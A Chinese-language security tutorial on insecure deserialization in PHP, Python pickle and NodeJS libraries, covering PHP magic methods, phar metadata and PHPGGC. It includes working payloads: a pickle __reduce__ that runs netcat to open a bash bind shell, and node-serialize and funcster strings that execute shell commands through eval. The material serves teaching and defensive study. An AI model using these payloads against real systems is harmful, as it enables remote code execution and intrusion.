基本信息
序列化 被理解为将对象转换为可以保存的格式的方法,目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后时间重新创建,保持其结构和状态。
反序列化 则是抵消序列化的过程。它涉及将以特定格式构造的数据重建为对象。
反序列化可能是危险的,因为它可能 允许攻击者操纵序列化数据以执行有害代码 或在对象重建过程中导致应用程序出现意外行为。
PHP
在 PHP 中,特定的魔术方法在序列化和反序列化过程中被使用:
__sleep
:在对象被序列化时调用。此方法应返回一个数组,包含所有应被序列化的对象属性的名称。它通常用于提交待处理的数据或执行类似的清理任务。
__wakeup
:在对象被反序列化时调用。它用于重新建立在序列化过程中可能丢失的任何数据库连接,并执行其他重新初始化任务。
__unserialize
:在对象被反序列化时调用此方法,而不是 __wakeup
(如果存在)。与 __wakeup
相比,它对反序列化过程提供了更多控制。
__destruct
:在对象即将被销毁或脚本结束时调用此方法。它通常用于清理任务,如关闭文件句柄或数据库连接。
__toString
:此方法允许将对象视为字符串。它可以用于读取文件或其他基于其中函数调用的任务,有效地提供对象的文本表示。
Copy <? php
class test {
public $s = "This is a test" ;
public function displaystring (){
echo $this -> s . '<br />' ;
}
public function __toString ()
{
echo '__toString method called' ;
}
public function __construct (){
echo "__construct method called" ;
}
public function __destruct (){
echo "__destruct method called" ;
}
public function __wakeup (){
echo "__wakeup method called" ;
}
public function __sleep (){
echo "__sleep method called" ;
return array ( "s" ); #The "s" makes references to the public attribute
}
}
$o = new test ();
$o -> displaystring () ;
$ser = serialize ( $o ) ;
echo $ser;
$unser = unserialize ( $ser ) ;
$unser -> displaystring () ;
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
如果你查看结果,你会发现当对象被反序列化时,函数 __wakeup
和 __destruct
被调用。请注意,在一些教程中,你会发现当尝试打印某个属性时,__toString
函数被调用,但显然这 不再发生 。
如果在类中实现了方法 __unserialize(array $data)
,则会 代替 __wakeup()
被调用。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。
Copy class MyClass {
private $property;
public function __unserialize ( array $data) : void {
$this -> property = $data[ 'property' ];
// Perform any necessary tasks upon deserialization.
}
}
您可以在这里阅读一个解释过的 PHP 示例 : https://www.notsosecure.com/remote-code-execution-via-php-unserialize/ ,在这里 https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf 或在这里 https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP 反序列化 + 自动加载类
您可以滥用 PHP 自动加载功能来加载任意 php 文件等:
序列化引用值
如果出于某种原因您想将一个值序列化为 对另一个序列化值的引用 ,您可以:
Copy <? php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting ;
$o -> param1 =& $o -> param22;
$o -> param = "PARAM" ;
$ser = serialize ( $o ) ;
PHPGGC (ysoserial for PHP)
PHPGGC 可以帮助你生成有效载荷以滥用 PHP 反序列化。
请注意,在某些情况下,你 无法在应用程序的源代码中找到滥用反序列化的方法 ,但你可能能够 滥用外部 PHP 扩展的代码。
因此,如果可以,请检查服务器的 phpinfo()
并 在互联网上搜索 (甚至在 PHPGGC 的 gadgets 中)一些你可以滥用的可能的 gadget。
phar:// metadata deserialization
如果你发现一个 LFI 只是读取文件而不执行其中的 PHP 代码,例如使用 file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize() **。你可以尝试滥用在使用 phar 协议时 读取 文件 时发生的 反序列化 。
有关更多信息,请阅读以下帖子:
Python
Pickle
当对象被反序列化时,函数 __reduce__ 将被执行。
当被利用时,服务器可能会返回一个错误。
Copy import pickle , os , base64
class P ( object ):
def __reduce__ ( self ):
return (os . system , ( "netcat -c '/bin/bash -i' -l -p 1234 " , ))
print (base64. b64encode (pickle. dumps ( P ())))
在检查绕过技术之前,如果您正在运行 python3,请尝试使用 print(base64.b64encode(pickle.dumps(P(),2)))
生成与 python2 兼容的对象。
有关逃离 pickle jails 的更多信息,请查看:
Yaml & jsonpickle
以下页面介绍了 滥用不安全的 yaml 反序列化 python 库的技术,并以一个可以用于生成 Pickle, PyYAML, jsonpickle 和 ruamel.yaml 的 RCE 反序列化有效负载的工具结束:
类污染 (Python 原型污染)
NodeJS
JS 魔法函数
JS 没有像 PHP 或 Python 那样的 "魔法" 函数 ,这些函数仅用于创建对象而被执行。但它有一些 函数 ,即使没有直接调用它们也 经常使用 ,例如 toString
、valueOf
、toJSON
。
如果滥用反序列化,您可以 妥协这些函数以执行其他代码 (可能滥用原型污染),当它们被调用时,您可以执行任意代码。
另一种 "魔法" 调用函数 的方式是通过 妥协一个由异步函数返回的对象 (promise)。因为,如果您 将 该 返回对象 转换为另一个 promise ,并具有一个名为 "then" 的函数类型属性 ,它将仅因为它是由另一个 promise 返回而被 执行 。有关更多信息,请 点击此链接 。
Copy // If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve () {
const p = new Promise (resolve => {
console .log ( 'hello' )
resolve ()
})
return p
}
async function test_then () {
const p = new Promise (then => {
console .log ( 'hello' )
return 1
})
return p
}
test_ressolve ()
test_then ()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
和 prototype
污染
如果你想了解这个技术 请查看以下教程 :
这个库允许序列化函数。示例:
Copy var y = {
"rce" : function (){ require ( 'child_process' ) .exec ( 'ls /' , function (error , stdout , stderr) { console .log (stdout) })} ,
}
var serialize = require ( 'node-serialize' );
var payload_serialized = serialize .serialize (y);
console .log ( "Serialized: \n" + payload_serialized);
该 序列化对象 看起来像:
Copy {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
您可以在示例中看到,当一个函数被序列化时,_$$ND_FUNC$$_
标志被附加到序列化对象上。
在文件 node-serialize/lib/serialize.js
中,您可以找到相同的标志以及代码是如何使用它的。
正如您在最后一段代码中看到的,如果找到该标志 ,则使用 eval
来反序列化函数,因此基本上用户输入被用于 eval
函数内部 。
然而,仅仅序列化 一个函数并不会执行它 ,因为在我们的示例中需要某部分代码调用 y.rce
,这非常不可能 。
无论如何,您可以修改序列化对象 ,添加一些括号 ,以便在对象被反序列化时自动执行序列化的函数。
在下一段代码中注意最后的括号 以及 unserialize
函数将如何自动执行代码:
Copy var serialize = require ( 'node-serialize' );
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize .unserialize (test);
如前所述,该库将在_$$ND_FUNC$$_
之后获取代码并将执行它 ,使用eval
。因此,为了自动执行代码 ,您可以删除函数创建 部分和最后一个括号,并仅执行一个 JS 单行代码 ,如下例所示:
Copy var serialize = require ( 'node-serialize' );
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize .unserialize (test);
您可以在这里找到 更多信息 ,了解如何利用此漏洞。
funcster 的一个显著特点是 标准内置对象 的不可访问性;它们超出了可访问范围。此限制阻止了尝试在内置对象上调用方法的代码执行,当使用 console.log()
或 require(something)
等命令时,会导致 "ReferenceError: console is not defined"
等异常。
尽管有此限制,但可以通过特定方法恢复对全局上下文的完全访问,包括所有标准内置对象。通过直接利用全局上下文,可以绕过此限制。例如,可以使用以下代码片段重新建立访问:
Copy funcster = require ( "funcster" );
//Serialization
var test = funcster .serialize ( function () { return "Hello world!" })
console .log (test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function : 'function(){return "Hello world!"}()' }
funcster .deepDeserialize (desertest1)
var desertest2 = { __js_function : 'this.constructor.constructor("console.log(1111)")()' }
funcster .deepDeserialize (desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster .deepDeserialize (desertest3)
有关 更多信息,请阅读此来源 .
serialize-javascript 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需要自行实现反序列化的方法。官方示例建议直接使用 eval
来反序列化序列化的数据:
Copy function deserialize (serializedJavascript){
return eval ( '(' + serializedJavascript + ')' );
}
如果这个函数用于反序列化对象,你可以轻松利用它 :